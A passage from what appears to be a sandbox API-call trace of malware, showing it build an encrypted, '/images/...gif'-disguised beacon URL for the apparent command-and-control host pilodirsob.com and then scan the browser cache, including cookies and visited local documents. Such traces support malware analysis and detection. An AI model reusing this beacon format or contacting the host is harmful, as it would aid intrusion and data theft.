dwFlags=0x0, lpMem=0x274f330 | out: hHeap=0x2350000) returned 1 [0401.569] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0401.569] lstrlenA (lpString="opkcoxeed=ysygkox&") returned 18 [0401.569] lstrlenA (lpString="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x92) returned 0x274fc78 [0401.569] strcpy (in: _Dest=0x274fc78, _Source="opkcoxeed=ysygkox&" | out: _Dest="opkcoxeed=ysygkox&") returned="opkcoxeed=ysygkox&" [0401.569] lstrcatA (in: lpString1="opkcoxeed=ysygkox&", lpString2="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="opkcoxeed=ysygkox&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="opkcoxeed=ysygkox&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f" [0401.569] lstrlenA (lpString="opkcoxeed=ysygkox&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 145 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa0) returned 0x274fd18 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa0) returned 0x274fdc0 [0401.569] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd18 | out: hHeap=0x2350000) returned 1 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x140) returned 0x274fe68 [0401.569] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fdc0 | out: hHeap=0x2350000) returned 1 [0401.569] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0401.569] StrTrimA (in: psz="jZqrkd6qeE467g6Fv/dEuDo0MeEJh0LLzgGT8TmZJYtoIN0od3xZNEfQ2ySDg/TQYvHdsBRwkc3jVOpBTR/mUe9/p+eB/aY5QbnIPuq4uFrAnYo7qan8xnyHGrIsfVOVgJP3OsIKrdJaf9LpSnsMcCFz9ix+Dc4TnBwtiOyUqjVKd1KS/TUK8h6Pj2pznkRvVGrtjN2s5KVzUDtli55kT5==\n\r", pszTrimChars="\r\n=" | out: psz="jZqrkd6qeE467g6Fv/dEuDo0MeEJh0LLzgGT8TmZJYtoIN0od3xZNEfQ2ySDg/TQYvHdsBRwkc3jVOpBTR/mUe9/p+eB/aY5QbnIPuq4uFrAnYo7qan8xnyHGrIsfVOVgJP3OsIKrdJaf9LpSnsMcCFz9ix+Dc4TnBwtiOyUqjVKd1KS/TUK8h6Pj2pznkRvVGrtjN2s5KVzUDtli55kT5") returned 1 [0401.569] lstrlenA (lpString="jZqrkd6qeE467g6Fv/dEuDo0MeEJh0LLzgGT8TmZJYtoIN0od3xZNEfQ2ySDg/TQYvHdsBRwkc3jVOpBTR/mUe9/p+eB/aY5QbnIPuq4uFrAnYo7qan8xnyHGrIsfVOVgJP3OsIKrdJaf9LpSnsMcCFz9ix+Dc4TnBwtiOyUqjVKd1KS/TUK8h6Pj2pznkRvVGrtjN2s5KVzUDtli55kT5") returned 214 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x283) returned 0x274de60 [0401.569] _snprintf (in: _Dest=0x274de71, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.569] _snprintf (in: _Dest=0x274de9f, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.569] _snprintf (in: _Dest=0x274deb6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.569] _snprintf (in: _Dest=0x274debd, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.569] _snprintf (in: _Dest=0x274dec1, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0401.569] _snprintf (in: _Dest=0x274dec6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.570] _snprintf (in: _Dest=0x274df07, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0401.570] _snprintf (in: _Dest=0x274df1e, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0401.570] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe68 | out: hHeap=0x2350000) returned 1 [0401.570] lstrlenA (lpString="jZqrkd6qeE467g6Fv_2FdEuDo0MeEJh0LLzgGT8TmZJYtoIN0od3xZNEfQ2ySDg_2FTQYvHdsBRwkc3jVOpBTR_2FmUe9_2Fp_2BeB_2FaY5QbnIPuq4uFrAnYo7qan8xnyHGrIsfVOVgJP3OsIKrdJaf9LpSnsMcCFz9ix_2BDc4TnBwtiOyUqjVKd1KS_2FTUK8h6Pj2pznkRvVGrtjN2s5KVzUDtli55kT5") returned 230 [0401.570] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x103) returned 0x274fc78 [0401.570] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0401.570] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f348 | out: hHeap=0x2350000) returned 1 [0401.570] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0401.570] StrTrimA (in: psz="jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5", pszTrimChars="\r\n" | out: psz="jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5") returned 0 [0401.570] lstrlenA (lpString="/images/") returned 8 [0401.570] lstrlenA (lpString="jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5") returned 245 [0401.570] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xfe) returned 0x274fd88 [0401.570] lstrcpyA (in: lpString1=0x274fd88, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0401.570] lstrcatA (in: lpString1="/images/", lpString2="jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5" | out: lpString1="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5") returned="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5" [0401.570] lstrcpyA (in: lpString1=0x274fc78, lpString2=".gif" | out: lpString1=".gif") returned=".gif" [0401.570] lstrcpyA (in: lpString1=0x274d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0401.570] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5" | out: lpString1="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5") returned="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5" [0401.570] lstrcatA (in: lpString1="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5", lpString2=".gif" | out: lpString1="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif") returned="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif" [0401.570] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1000) returned 0x26d00d8 [0401.570] FindFirstUrlCacheEntryA (in: lpszUrlSearchPattern=0x0, lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 0x1 [0401.571] StrStrIA (lpFirst="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="https://www.google.com/images/nav_logo229.png", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="https://www.google.com/favicon.ico", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="https://www.google.com/?gws_rd=ssl", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="Cookie:aetadzjz@live.com/", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="Cookie:aetadzjz@google.com/", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="Cookie:aetadzjz@g.live.com/", lpSrch="pilodirsob.com") returned 0x0 [0401.571] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.571] StrStrIA (lpFirst="Cookie:aetadzjz@google.de/", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps", lpSrch="pilodirsob.com") returned 0x0 [0401.572] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.572] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/jfmD.ods", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.573] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.573] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.574] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc", lpSrch="pilodirsob.com") returned 0x0 [0401.574] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, 